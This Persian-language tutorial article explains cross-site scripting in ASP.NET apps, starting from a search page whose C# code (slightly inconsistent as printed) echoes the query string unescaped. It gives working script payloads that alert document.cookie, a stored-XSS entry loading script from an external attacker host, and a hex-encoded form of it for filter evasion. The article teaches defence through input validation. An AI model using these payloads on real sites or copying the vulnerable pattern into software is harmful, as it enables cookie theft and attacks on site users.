صفحه اول > مقالات

 

حمله به برنامه‌های وبی (۲):

Cross-Site Scripting

اين نوع حمله خيلی مشابه به حملات تزريق اسکريپت است و در مواقعی اتفاق می‌افتد که کد اسکريپت توسط صفحات پويای وب ساير سايت‌ها در مرورگر وب وارد شود. در اين نوع حملات، هدف هکر خود سايت نيست، بلکه کاربران آن مد نظر می‌باشند. فرض کنيد که يک سايت عبارات جستجو را با استفاده از مجموعه QueryString  ر صورتی که برنامه با استفاده از فناوری .NET توسعه داده شده باشد) و از طريق متد HTTP Get دريافت می‌کند، و ساير سايت‌ها می‌توانند عبارات جستجو را با عبارت پرس و جوس Search ارسال کنند.

YourSite.com?Search=asp.net

صفحه جستجو رشته پرس و جو را خوانده و در پايگاه داده به دنبال عبارت مورد نظر می‌گردد و در نهايت نتيجه جستجو را نمايش می‌دهد. در صورتی که داده‌ای متناسب با عبارت مورد نظر در پايگاه داده وجود نداشته باشد، پيامی مبنی بر يافت نشدن جواب توليد و نمايش داده خواهد شد.

در صفحه جستجو قالبی کد‌های زير وجود دارند:

void Page_load(Object Src,EventArgs E)

{

          String sSearchStr="";

          NameValueCollection ColQstr = Request.QueryString;

 

          String[] qStrAry = colQstr.AllKeys;

          for (int i = 0; i<= qStrAry.GetUpperBound(0); i++)

          {

                   if (qStrAry[i] == "search")

                   {

                             String[] qStrAry = colQstr.AllKeys;

                             for (int j = 0; j<=qStrAryVal.GetUpperBound(0); j++)

                             {

                                      sSearchStr = qStrAryVal[j];

                                      break;

                             }

                   }

          }

 

          if (sSearchStr.Trim() != "")

          {

                   if (SearchDataStore(sSearchStr) == false)

                             lblResult.Text = "The search keyword " + sSearchStr +

                             " did not produce any results. Please try again.";

          }

}

bool SearchDataStore(String sSearchStr)

{

          /*Perform the search against the datastore and display the

          result. if there are no results then return false.*/

          return false;

}

رويداد Page_Load پارامتر Search را در QueryString خوانده و مقدار آن را بازيابی مي‌کند. سپس با فراخوانی متد SearchDataStore اقدام به بازيابی نتايج رشته جستجو می‌نمايد. در صورتی که موردی در پايگاه داده يافت نشد مقدار بازگشتی اين متد false خواهد بود. بعد از اين فرايند رويداد Page_Load نتايج جستجو را نمايش می‌دهد (اگر بازگشتی متد true باشد رکوردهای يافت شده و در صورتی که false‌ باشد پيغام خطای مناسب). تا اينجا همه چيز روال عادی خود را طی می‌کند. حال فرض کنيد يک کاربر و يا سايتی ديگر عبارت زير را تايپ نمايد:

Process.Aspx?Search=<script>alert(CSS Attack); </script>

رويداد Page_Load رشته پرس و جو را پردازش نموده و پيام زير را نمايش مي‌دهد:

به طريق مشابه، کاربر مي‌تواند متن زير را وارد نمايد:

<a href="process.aspx?Search=<script>alert(document.cookie);</script>">Click here </a>

با کليک لينک توسط کاربر، کنترل مرورگر به يک سايت ديگر منتقل می‌شود و تمام اطلاعات cookie های سايت اصلی در پنجره alert نمايش داده می‌شود. کد JavaScript از داخل حاشيه امنيتی دامنه فعلی اجرا می‌شود و بنابراين کد‌هايی قابل اجرا هستند که از خارج قابل اجرا شدن نيستند.

به طريق مشابه امکان ارسال اطلاعات Cookie به يک سرور ديگر نيز وجود دارد.

نوع ديگری از حملاتی که به اين شيوه قابل انجام است بسيار پيشرفته‌تر است. فرض کنيد يک سايت اطلاعات موجود در وب در مورد فناوري‌ را جمع‌آوری نموده و در اختيار کاربران خود قرار مي‌دهد. در اين سايت امکانی فراهم آمده است که کاربران مي‌توانند آخرين اخباری را که از نظرشان جالب و مناسب سايت است را وارد نمايند. در صورتی که هيچ گونه اعتبارسنجی بر روی داده ورودی انجام نشود، با وارد شدن اطلاعات توسط کاربر، سيستم آن را در پايگاه داده خود ذخيره نموده و پيش‌نمايشی از آن را ارائه می‌دهد.

در اين ساختار راه نفوذ برای هکرها باز است و می‌توانند با وارد کردن متنی مانند زير به اهداف خرابکارانه خود برسند:

News: Here is a Cross-Site Script Attack

URL: www.SomeSite.com/default.aspx?ID=<script src='http://CssAttack.com/dostuff/js'></script>

 

اگر برنامه بدون اعتبار سنجی URL، آن را پذيرفته و در پايگاه داده وارد کند سايت و بينندگان آن در معرض حملات Cross-site قرار مي‌گيرند. اگر متن اسکريپتی که وارد شده است مستقيما وارد پايگاه داده شده و از اين پس به صورت هفتگی برای مشترکين ارسال شود، نتايج زيان باری حاصل مي‌شود. هر کس که بر روی لينک خبر کليک کند آدرس URL را در مرورگر خود مشاهده خواهد کرد و جاوا اسکريپت بيان شده در SRC نشانه script اجرا می‌شود.

نمونه ديگری از اين نوع حملات به اين صورت انجام مي‌شود که هکر به جای استفاده از متن به فرمت ASCII‌ يا Unicode از کد حروف hex‌ استفاده می‌نمايد.

News: Here is a Croos-Site Script Attack

URL:  http://77%2077%2077%202e%2053%206f%206d%2065%2073%2069%2074%2065%20

2e%2063%206f%206d/default.aspx?3c%2053%2063%2072%2069%2070%2074%2020%20

73%2072%2063%203d%2092%2044%206f%2053%2074%2075%2066%2066%202e%20

4a%2073%2092%203e%203c%202f%2053%2063%2072%2069%2070%2074%203e

حروف فوق در قالب ASCII‌ معادل

News: Here is a Cross-Site Script Attack

URL: www.SomeSite.com/default.aspx?ID=<script src='http://CssAttack.com/dostuff/js'></script>

مي‌باشند.

با مشاهده موارد فوق مشخص مي‌شود که اعتبار سنجی داده‌ها در زمان ورود اهميت فوق‌العاده‌ای دارد. اسکريپتی که در URL‌ ارائه مي‌گردد می‌تواند اعمال بسيار خطرناکی را انجام دهد که بستگی به قابليت‌های زبان اسکريپت‌نويسی دارد. اين اعمال شامل موارد زير می‌باشند:

·        ممکن است داده‌ها تحريف شوند، به عنوان مثال ممکن است محتويات يک cookie تغيير يابد.

·        يکپارچگی اطلاعات به خطر افتد.

·        اسکريپت‌هايی با اهداف خرابکارانه در محيط سايت‌های مطمئن اجرا شوند.

·        Cookie ها مقدار دهی شده و يا اطلاعات آنها خوانده شود.

·        ورودی‌های کاربران مورد استراق سمع واقع شود.

·        کاربران به سايت‌هايی نامطمئن هدايت شوند.